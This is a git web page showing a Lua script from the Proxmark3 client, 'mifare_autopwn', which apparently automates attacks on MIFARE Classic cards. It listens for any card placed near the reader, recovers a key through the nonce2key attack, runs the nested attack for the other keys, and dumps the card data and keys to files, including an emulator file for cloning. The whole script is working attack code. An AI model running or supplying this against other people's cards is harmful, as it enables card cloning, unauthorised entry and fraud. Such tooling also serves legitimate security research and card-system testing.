]> cvs.zerfleddert.de Git - proxmark3-svn/blob - client/scripts/mifare_autopwn.lua
ADD: a CmdEM410xWatchnSpoof in cmdlfem4x.c , looks for a tag, then replays it.
[proxmark3-svn] / client / scripts / mifare_autopwn.lua
1 local getopt = require('getopt')
2 local reader = require('read14a')
3 local cmds = require('commands')
4
5 example = "script run mifare_autopwn"
6 author = "Martin Holst Swende"
7
8
9 desc =
10 [[
11 This is a which automates cracking and dumping mifare classic cards. It sets itself into
12 'listening'-mode, after which it cracks and dumps any mifare classic card that you
13 place by the device.
14
15 Arguments:
16 -d debug logging on
17 -h this help
18
19 Output files from this operation:
20 <uid>.eml - emulator file
21 <uid>.html - html file containing card data
22 dumpkeys.bin - keys are dumped here. OBS! This file is volatile, as other commands overwrite it sometimes.
23 dumpdata.bin - card data in binary form. OBS! This file is volatile, as other commands (hf mf dump) overwrite it.
24
25 ]]
26
27 -------------------------------
28 -- Some utilities
29 -------------------------------
30 local DEBUG = false
31 ---
32 -- A debug printout-function
33 function dbg(args)
34 if DEBUG then
35 print(":: ", args)
36 end
37 end
38 ---
39 -- This is only meant to be used when errors occur
40 function oops(err)
41 print("ERROR: ",err)
42 return nil,err
43 end
44
45 ---
46 -- Usage help
47 function help()
48 print(desc)
49 print("Example usage")
50 print(example)
51 end
52
53 ---
54 -- Waits for a mifare card to be placed within the vicinity of the reader.
55 -- @return if successfull: an table containing card info
56 -- @return if unsuccessfull : nil, error
57 function wait_for_mifare()
58 while not core.ukbhit() do
59 res, err = reader.read1443a()
60 if res then return res end
61 -- err means that there was no response from card
62 end
63 return nil, "Aborted by user"
64 end
65
66 function mfcrack()
67 core.clearCommandBuffer()
68 -- Build the mifare-command
69 local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1}
70
71 local retry = true
72 while retry do
73 core.SendCommand(cmd:getBytes())
74 local key, errormessage = mfcrack_inner()
75 -- Success?
76 if key then return key end
77 -- Failure?
78 if errormessage then return nil, errormessage end
79 -- Try again..set arg1 to 0 this time.
80
81 cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0}
82 end
83 return nil, "Aborted by user"
84 end
85
86
87 function mfcrack_inner()
88 while not core.ukbhit() do
89 local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
90 if result then
91 -- Unpacking the three arg-parameters
92 local count,cmd,isOK = bin.unpack('LL',result)
93
94 if isOK ~= 1 then return nil, "Error occurred" end
95
96
97 -- The data-part is left
98 -- Starts 32 bytes in, at byte 33
99 local data = result:sub(33)
100
101 -- A little helper
102 local get = function(num)
103 local x = data:sub(1,num)
104 data = data:sub(num+1)
105 return x
106 end
107
108 local uid,nt,pl = get(4),get(4),get(8)
109 local ks,nr = get(8),get(4)
110
111 local status, key = core.nonce2key(uid,nt, nr, pl,ks)
112 if not status then return status,key end
113
114 if status > 0 then
115 print("Key not found (lfsr_common_prefix problem)")
116 -- try again
117 return nil,nil
118 else
119 return key
120 end
121 end
122 end
123 return nil, "Aborted by user"
124 end
125
126 function nested(key,sak)
127 local typ = 1
128 if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k
129 typ = 4
130 elseif 0x08 == sak then -- NXP MIFARE CLASSIC 1k | Plus 2k
131 typ= 1
132 elseif 0x09 == sak then -- NXP MIFARE Mini 0.3k
133 typ = 0
134 elseif 0x10 == sak then-- "NXP MIFARE Plus 2k"
135 typ = 2
136 elseif 0x01 == sak then-- "NXP MIFARE TNP3xxx 1K"
137 typ = 1
138 else
139 print("I don't know how many sectors there are on this type of card, defaulting to 16")
140 end
141 local cmd = string.format("hf mf nested %d 0 A %s d",typ,key)
142 core.console(cmd)
143 end
144
145 function dump(uid)
146 core.console("hf mf dump")
147 -- Save the global args, those are *our* arguments
148 local myargs = args
149 -- Set the arguments for htmldump script
150 args =("-o %s.html"):format(uid)
151 -- call it
152 require('../scripts/htmldump')
153
154 args =""
155 -- dump to emulator
156 require('../scripts/dumptoemul')
157 -- Set back args. Not that it's used, just for the karma...
158 args = myargs
159 end
160
161 ---
162 -- The main entry point
163 function main(args)
164
165
166 local verbose, exit,res,uid,err,_,sak
167 local seen_uids = {}
168
169 -- Read the parameters
170 for o, a in getopt.getopt(args, 'hd') do
171 if o == "h" then help() return end
172 if o == "d" then DEBUG = true end
173 end
174
175 while not exit do
176 res, err = wait_for_mifare()
177 if err then return oops(err) end
178 -- Seen already?
179 uid = res.uid
180 sak = res.sak
181 if not seen_uids[uid] then
182 -- Store it
183 seen_uids[uid] = uid
184 print("Card found, commencing crack", uid)
185 -- Crack it
186 local key, cnt
187 res,err = mfcrack()
188 if not res then return oops(err) end
189 -- The key is actually 8 bytes, so a
190 -- 6-byte key is sent as 00XXXXXX
191 -- This means we unpack it as first
192 -- two bytes, then six bytes actual key data
193 -- We can discard first and second return values
194 _,_,key = bin.unpack("H2H6",res)
195 print("Key ", key)
196
197 -- Use nested attack
198 nested(key,sak)
199 -- Dump info
200 dump(uid)
201 end
202 end
203 end
204
205 -- Call the main
206 main(args)
Impressum, Datenschutz